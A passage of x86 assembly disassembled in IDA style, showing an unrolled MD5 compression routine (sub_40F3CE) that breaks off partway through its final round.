sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+676F02D9h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
